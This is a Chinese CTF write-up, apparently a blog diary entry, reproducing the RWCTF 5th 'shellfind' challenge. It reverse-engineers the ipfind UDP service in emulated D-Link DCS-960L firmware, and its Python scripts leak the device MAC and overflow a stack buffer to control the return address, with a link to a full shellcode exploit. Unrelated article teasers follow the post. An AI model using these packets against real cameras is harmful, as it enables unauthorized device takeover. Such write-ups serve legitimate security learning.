CTF特训日记day3

复现一下RWCTF5th shellfind题目

题目描述如下:


Hello Hacker.
You don't know me, but I know you.
I want to play a game. Here's what happens if you lose.
The device you are watching is hooked into your Saturday and Sunday.
When the timer in the back goes off,
your curiosity will be permanently ripped open.
Think of it like a reverse bear trap.
Here, I'll show you.
There is only one UDP service to shell the device.
It's in the stomach of your cold firmware.
Look around Hacker. Know that I'm not lying.
Better hurry up.
Shell or out, make your choice.

题目首先给了一个firmware.bin,解包以后有一大堆东西,根据题目的描述知道漏洞应该是出在某个UDP服务上了,至于具体是哪个,最好还是将固件模拟起来以后,通过查看开放了哪些服务来决定分析方向。

这里使用的是firmAE工具进行模拟,成功模拟起来了设备并且还进入了shell
在这里插入图片描述

这为解题提供了很大的帮助,接下来查看一下开放了哪些UDP服务,使用自带的busybox功能不全,netstat没有-p参数无法查看对应进程,可以使用firmadyne目录下的工具

在这里插入图片描述

在这里可以看到开放了udp服务的程序有两个,分别是ddp和ipfind,范围已经缩小了非常多,接下里分别对两个服务程序进行分析。

在ddp程序中,整个程序只有这一个数据接收点
!在这里插入图片描述
看样子也是位于一个主循环结构中,程序获取udp数据然后取出前面几位数据按照规则拼成v11,v12,v13,v14作为后续的命令控制字段,涉及的命令程序如factory_reset、set_simple_wifi_info等,一个个分析过去就好。

分析后会发现,这些程序承担了一些比较基础的功能性操作,其本身基本不涉及什么内存操作,也没有可以命令注入的机会,但是有一个函数看上去还算有点可疑:

在几乎每个函数中都会有一个checkAuthentication函数,样子如下:
在这里插入图片描述
其中a1和a2是我们传入的数据,解码以后直接存放到栈上,栈空间是两个256字节大小的空间,其调用者长这样:
在这里插入图片描述

而recvfrom的大小的0x400,解完base64后最长可以达到768,第二个参数以86作为起点也仍然可以解出长度700的数据,是远比256要大的,理论上来讲这里其实存在栈溢出。

不过这里似乎并不是作者希望我们去分析的地方,从diff的结果来看作者其实着重修改了ipfind程序,接下来再来分析一下ipfind:

在这里插入图片描述

首先建立socket然后设置sa_family为2,表示使用udp协议,然后设置sa_data为62720表示使用62720端口,完成bind以后ipfind正式启动。

在这里插入图片描述
通过recvfrom函数接收数据以后进行一系列的格式检查
第一个if要求前四字节为FIVI且第九字节为10
依此可暂时写出:

data='FIVI'
data+='\x00\x00\x00\x00'
data+='\x0a'

第二层if会根据v7的值进行选择,v7等于1并且满足另外一些条件可进入sub_40172c

v7等于2并且v22与目标的mac地址相同则进入sub_4013F4

换句话来说,想进入sub_40172c,仅凭现有信息是足够的,想进入sub_4013F4则需要额外知道目标的mac地址,由于我们是firmAE直接模拟的题目,所以其实是可以直接看的,但是为了模拟做题场景,此时远程的mac我们应该是无法确认的。

先看sub_40172c函数:

在这里插入图片描述

函数中通过cfgRead获取了大量的设备相关信息,并将他们写入到v8这个结构中
在这里插入图片描述
然后将他们发回给我们,也就是说先进入这个函数,可以获取到设备信息的回显。既然如此那就先获取信息试试看。

v7的具体实现为

v7 = (unsigned __int16)((_byteswap_ushort(*(unsigned __int16 *)((char *)&data[2] + 1)) << 8) | ((unsigned int)(BYTE2(data[2]) | (BYTE1(data[2]) << 8)) >> 8));

这里推荐gpt,分析这种简短但恶心的小代码还是挺好用的
在这里插入图片描述
所以数据配置现在为

data='FIVI'
data+='\x00\x00\x00\x00'
data+='\x0a'
data+='\x01\x00'

v7解决完走到最后一个if,也就是

if ( !v8 && !memcmp(v21, v23, 6u) && !v17 )

其中v8是

v8 = (unsigned __int16)((_byteswap_ushort(*(unsigned __int16 *)((char *)&data[5] + 3)) << 8) | ((unsigned int)(HIBYTE(data[6]) | (LOBYTE(data[5]) << 8)) >> 8));

要保证v8是0直接让涉及到的数据都为0就可以

memcmp这里限制了data[4]+1开始的六个字节都是0xff
所以写出如下data

data='FIVI'
data+='\x00\x00\x00\x00'
data+='\x0a'
data+='\x01\x00'
data+='\x00'
data+='\x00\x00\x00\x00'
data+='\x00'
data+='\xff'*6

最后看一下v17,同理全为零即可,于是得到触发sub_40172C的最终payload

data='FIVI'
data+='\x00\x00\x00\x00'
data+='\x0a'
data+='\x01\x00'
data+='\x00'
data+='\x00\x00\x00\x00'
data+='\x00'
data+='\xff'*6
data+='\x00\x00\x00'

用python创建好udp套接字发给题目ipfind对应端口试试看

import socket
from pwn import *context(os='linux', arch='mips', endian='big', log_level='debug')li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')
lg = lambda x : print('\033[32m' + str(x) + '\033[0m')ip = '192.168.0.1'
port = 62720r = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
lg('[+] open connection')data=b'FIVI'
data+=b'\x00\x00\x00\x00'
data+=b'\x0a'
data+=b'\x01\x00'
data+=b'\x00'
data+=b'\x00\x00\x00\x00'
data+=b'\x00'
data+=b'\xff'*6
data+=b'\x00\x00\x00'r.sendto(data, (ip, port))recv_data, recv_addr = r.recvfrom(1024)li(recv_data)

运行以后成功获得了回显,其中能够比较明显看出来的是比如DCS-960L这种设备名称
在这里插入图片描述
接下来涉及到要把其中的mac地址提取出来,需要关注一下72c里的这个函数
在这里插入图片描述
程序通过net_get_hwaddr获取mac地址并存入了a1+17的位置,也就是说在响应包偏移为17的地方存放的是mac地址。

写个小函数提取一下

def get_macaddr(macdata):macaddr=hex(macdata[0])[2:]for i in range(5):macaddr+=":"macaddr+=hex(macdata[i+1])[2:]return macaddr

在这里插入图片描述

可以看到已经提取到了br0的正确mac地址

接下来尝试进入v7等于2时的函数,头部的改动不是很多

data=b'FIVI'
data+=b'\x00\x00\x00\x00'
data+=b'\x0a'
data+=b'\x02\x00'
data+=b'\x00'
data+=b'\x00\x00\x00\x00'
data+=b'\x00'
data+=mac
data+=b'\x00\x00\x8e'

原本的六个0xff变成了mac地址,然后data[6]+1需要等于0x8e,然后v7记得改成2,别的就不用动了,主要看函数里面

在这里插入图片描述
函数会在进入主逻辑之前有一个类似验证的函数sub_400e50
在这里插入图片描述

又是直接将base64解码的结果直接放到了栈上,这次的栈空间还是不足的,我们可以输入的缓冲区大小足足有0x800,这里的base64第二次解码所放到的地址v7距离栈底才0x244大小,完全不够,所以存在栈溢出。

使用gdbserver进行远程调试,用gdb-mul连即可
在这里插入图片描述
接下来需要先测试一下偏移,使用cyclic生成0x700大小的垃圾数据并发送:

data=b'FIVI'
data+=b'\x00\x00\x00\x00'
data+=b'\x0a'
data+=b'\x02\x00'
data+=b'\x00'
data+=b'\x00\x00\x00\x00'
data+=b'\x00'
data+=mac
data+=b'\x00\x00\x8e'
data=data.ljust(0x5d,b'\x00')payload=b'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaafcaafdaafeaaffaafgaafhaafiaafjaafkaaflaafmaafnaafoaafpaafqaafraafsaaftaafuaafvaafwaafxaafyaafzaagbaagcaagdaageaagfaaggaaghaagiaagjaagkaaglaagmaagnaagoaagpaagqaagraagsaagtaaguaagvaagwaagxaagyaagzaahbaahcaahdaaheaahfaahgaahhaahiaahjaahkaahlaahmaahnaahoaahpaahqaahraahsaahtaahuaahvaahwaahxaahyaahzaaibaaicaaidaaieaaifaaigaaihaaiiaaijaaikaailaaimaainaaioaaipaaiqaairaaisaaitaaiuaaivaaiwaaixaaiyaaizaajbaajcaajdaajeaajfaajgaajhaajiaajjaajkaajlaajmaajnaajoaajpaajqaajraajsaajtaajuaajvaajwaajxaajyaajzaakbaakcaakdaakeaakfaakgaakhaakiaakjaakkaaklaakmaaknaakoaakpaakqaakraaksaaktaakuaakvaakwaakxaakyaakzaalbaalcaaldaaleaalfaalgaalhaaliaaljaalkaallaalmaalnaaloaalpaalqaalraalsaaltaaluaalvaalwaalxaalyaalzaambaamcaamdaameaamfaamgaamhaamiaamjaamkaamlaammaamnaamoaampaamqaamraamsaamtaamuaamvaamwaamxaamyaamzaanbaancaandaaneaanfaangaanhaaniaanjaankaanlaanmaannaanoaanpaanqaanraansaantaanuaanvaanwaanxaanyaanzaaobaaocaaodaaoeaaofaaogaaohaaoiaaojaaokaaolaaomaaonaaooaaopaaoqaaoraaosaaotaaouaaovaaowaaoxaaoyaaozaapbaapcaapdaapeaapfaapgaaphaapiaapjaapkaaplaapmaapnaapoaappaapqaapraapsaaptaapuaapvaapwaapxaapyaapzaaqbaaqcaaqdaaqeaaqfaaqgaaqhaaqiaaqjaaqkaaqlaaqmaaqnaaqoaaqpaaqqaaqraaqsaaqtaaquaaqvaaqwaaqxaaqyaaqzaarbaarcaardaareaarfaargaarhaariaarjaarkaarlaarmaarnaaroaarpaarqaarraarsaartaaruaarvaarwaar'data+=base64.b64encode(payload)r.sendto(data,(ip,port))

可以看到程序的返回地址已经被覆盖成了垃圾数据
在这里插入图片描述
查询一下具体的偏移可知为588
在这里插入图片描述
然后尝试精确控制返回地址为0x61616161

data=b'FIVI'
data+=b'\x00\x00\x00\x00'
data+=b'\x0a'
data+=b'\x02\x00'
data+=b'\x00'
data+=b'\x00\x00\x00\x00'
data+=b'\x00'
data+=mac
data+=b'\x00\x00\x8e'
data=data.ljust(0x5d,b'\x00')payload=b'\x00'*588+b'a'*4data+=base64.b64encode(payload)r.sendto(data,(ip,port))

可以看到在ra寄存器已经被控制为0x61616161
在这里插入图片描述
接下来就要思考如何获取shell,由于got表可改,且程序本身就自带system表项,如果选择改got表是比较方便的一种做法,但是由于题目本身不出网,所以必须复用此udp端口,导致无法通过执行命令下载木马或者反弹shell,虽然能够执行的命令比较长,可以使用echo的方式强行写入一个二进制程序去执行,但是由于涉及到端口复用,会可能会出现奇奇怪怪的错误。

如果使用ret2shellcode的方式,则需要寻找一些好用的gadget,让$ra最后能够跳转到我们可写shellcode的栈地址上去。

ret2shellcode可以看这个exp:
https://github.com/fxc233/CTF/blob/main/IOT/RealWorldCTF-5th-ShellFind/exp.py

需要注意的地方还是比较多的

  • 注意恢复$gp寄存器的值
  • 寻找能够泄露栈地址的gadget,这里的泄露不是指打印出来,而是能够流转到我们可控的寄存器或者指定的地址上去
  • 寻找能够根据指定寄存器进行跳转的gadget

整个exp读下来觉得几个gadget无论是找的还是组合在一起利用的都挺妙的。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/195747.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

沿着马可·波罗的足迹,看数字云南

刚入行的时候&#xff0c;有位前辈跟我说过一句话&#xff1a;去现场“要像外国人一样去看”&#xff0c;重新审视那些自己可能早已“熟视无睹”的事物。 前不久&#xff0c;我跟随“看见数字云南——云南数字经济媒体探营活动”&#xff0c;奔赴昆明、大理、西双版纳等地&…

多路径传输(MPTCP MPQUIC)数据包调度研究总结

近些年来&#xff0c;以5G和Wifi6为代表的无线通信技术发展迅速&#xff0c;并已经在全世界实现了大规模部署。此外&#xff0c;智能手机等移动设备不断迭代更新&#xff0c;其网络通信能力也持续演进&#xff0c;使得应用同时利用多个不同网卡在多条不同物理链路上&#xff08…

性价比开放式蓝牙耳机推荐哪款、性价比最高的开放式耳机

传统的耳机设计虽然便携&#xff0c;但却可能给一些需要长时间佩戴的用户带来不适。长时间封闭在耳机内可能导致耳朵不透气&#xff0c;甚至引起疼痛。这就是为什么近年来开放式耳机越来越受欢迎的原因。这种耳机设计无需直接插入耳道&#xff0c;采用挂耳的佩戴方式&#xff0…

Python3+selenium自动化测试框架详解

背景 为了更好的发展自身的测试技能&#xff0c;应对测试行业以及互联网行业的迭代变化。自学python以及自动化测试。 虽然在2017年已经开始接触了selenium&#xff0c;期间是断断续续执行自动化测试&#xff0c;因为还有其他测试任务&#xff0c;培训任务要执行… 前期建议大…

W11+Ipv6+可道云+PHPstudy实现私人云盘搭建

W11Ipv6可道云PHPstudy实现私人云盘搭建 一、搭建原因二、搭建过程软件选择服务器环境管理软件私人云盘 可道云搭建小皮面板搭建 三、相关配置程序开机自启远程关机远程开机 四、相关参考 一、搭建原因 工位电脑上一些文件想备份到家里电脑&#xff0c;购买NAS又有点多余&…

solidity实现ERC1155多代币标准

文章目录 1、NFT - 维基百科2、IERC1155MetadataURI3、IERC1155Receiver4、IERC11555、ERC11556、NFT11557、开源地址 1、NFT - 维基百科 ERC-1155 标准于2018年6月由Witek Radomski、Andrew Cooke、Philippe Castonguay、James Therien、Eric Binet及Ronan Sandford提出。此标…

从微软官网下载系统镜像重装的方法

一、制作系统镜像介质U盘 1、在一台能够正常进入系统的电脑中登录以下网址&#xff1a;https://www.microsoft.com/zh-cn/software-download/windows10&#xff0c; 点击立即下载工具。 2、在下载完成后&#xff0c;双击打开&#xff0c;选择为另一台电脑创建安装介质&#xf…

controller能接收到数据有数据但是前端无法显示数据

又是制作系统时遇到的问题。只是想做个查询商品的页面&#xff0c;结果弄了一天&#xff0c;在网上各种查问题&#xff0c;各种解决办法用在我的代码上&#xff0c;换了无数种关键词搜索终于找到了一条成功解决了问题。 问题描述&#xff1a; 事情是这样的&#xff1a;我要写一…

云原生之深入解析Kubernetes策略引擎对比:OPA/Gatekeeper与Kyverno

一、前言 ① Kubernetes 策略 Kubernetes 的 Pod Security Policy&#xff0c;正如其名字所暗示的&#xff0c;仅是针对 Pod 工作的&#xff0c;是一种用来验证和控制 Pod 及其属性的机制。另外 PSP 只能屏蔽非法 Pod 的创建&#xff0c;无法执行任何补救/纠正措施。而 Gatek…

如何将Java条码Dynamsoft Barcode Reader集成到命令行、GUI和Web应用程序中

Dynamsoft Barcode Reader SDK一款多功能的条码读取控件&#xff0c;只需要几行代码就可以将条码读取功能嵌入到Web或桌面应用程序。这可以节省数月的开发时间和成本。能支持多种图像文件格式以及从摄像机或扫描仪获取的DIB格式。使用Dynamsoft Barcode Reader SDK&#xff0c;…

实验案例二:多表查询

1、表联接类型。 表联接类型可以分为内联接&#xff0e;外联接和交叉联接等。 1&#xff0e;内联接。 内联接〈 inner join&#xff09;是最常用的-一-种联接方式&#xff0c;只返回两个数据集合之间匹配关系的行&#xff0c;将位于两个互相交叉的数据集合中重叠部分以内的数…

ROS第一个程序——helloworld

目录 一、工作空间的创建 1.创建工作空间并初始化 2.进入 src 创建 ros 包并添加依赖 二、C实现helloworld C源码实现 编辑 ros 包下的 Cmakelist.txt文件 进入工作空间目录并编译 执行 三、python实现helloworld 进入 ros 包添加 scripts 目录并编辑 python 文件 …

推荐6个AI相关开源项目

1.GPT 学术优化 - 一个专注优化论文的 AI 工具 &#x1f310;开源地址&#xff1a;https://github.com/binary-husky/gpt_academic &#x1f5a5;️体验地址&#xff1a;https://huggingface.co/spaces/qingxu98/gpt-academic &#x1f4c4;该工具可以为你的论文提供一键润色…

flink安装与配置-脚本一键安装(超简单)

文章目录 前言使用shell脚本一键安装1. 复制脚本2. 增加执行权限3. 执行脚本4. 加载用户环境变量5. 浏览器访问 总结 前言 本文介绍了使用shell脚本一键安装和配置Apache Flink单机版的方法。通过复制并执行提供的安装脚本&#xff0c;可以自动下载、安装和配置Flink。脚本会检…

ZYNQ_project:HDMI

实验目标&#xff1a;先显示彩条&#xff0c;通过uart串口传输100x100 大小图片像素信息&#xff0c;然后开始弹跳显示该图片在显示器上。 HDMI 是新一代的多媒体接口标准&#xff0c; 英文全称是 High-Definition Multimedia Interface&#xff0c; 即高清多媒体接口。 它能够…

录视频人不在电脑旁,怎么设置定时关机

如果你平常工作比较忙&#xff0c;或者要录制的视频/音频文件需要很长时间&#xff0c;最好选择预约录制&#xff0c;这样可使录屏软件自动开始和停止录制&#xff0c;并且定时关机。此外&#xff0c;你还可以设置保存录制文件、关闭录屏软件。是不是听起来很感兴趣&#xff1f…

进程程序替换和shell实现

先前fork说创建子进程执行代码&#xff0c;如何让子进程执行和父进程完全不一样的代码?程序替换。 一 单进程替换演示 1 execl函数使用 最近转到在vs code下写代码&#xff0c;之前也在xhell下用过execl函数&#xff0c;所以才想写篇博客总结总结&#xff0c;没想到在vs code…

Docker Compose简单入门

Docker Compose 简介 Docker Compose 是一个编排多容器发布式部署的工具&#xff0c;提供命令集管理容器化应用的完整开发周期&#xff0c;包括服务构建&#xff0c;启动和停止。 Docker Compose 真正的作用是在一个文件&#xff08;docker-compose.yml&#xff09;中定义并运…

Arthas安装及简单使用

一. 背景介绍 Arthas 是 Alibaba 在 2018 年 9 月开源的 Java 诊断工具。支持 JDK6&#xff0c; 采用命令行交互模式&#xff0c;提供 Tab 自动补全&#xff0c;可以方便的定位和诊断线上程序运行问题。得益于 Arthas 强大且丰富的功能&#xff0c;让 Arthas 能做很多的事情&a…

超声波眼镜清洗机是智商税吗?2023年超声波清洗机比较不错推荐

随着科技的日新月异&#xff0c;我们生活中充满了各种各样的智能设备。其中&#xff0c;超声波清洗机以其独特的清洗能力&#xff0c;逐渐走进我们的生活。然而&#xff0c;对于很多人来说&#xff0c;超声波清洗机还是一个相对陌生的概念。那么&#xff0c;超声波清洗机到底是…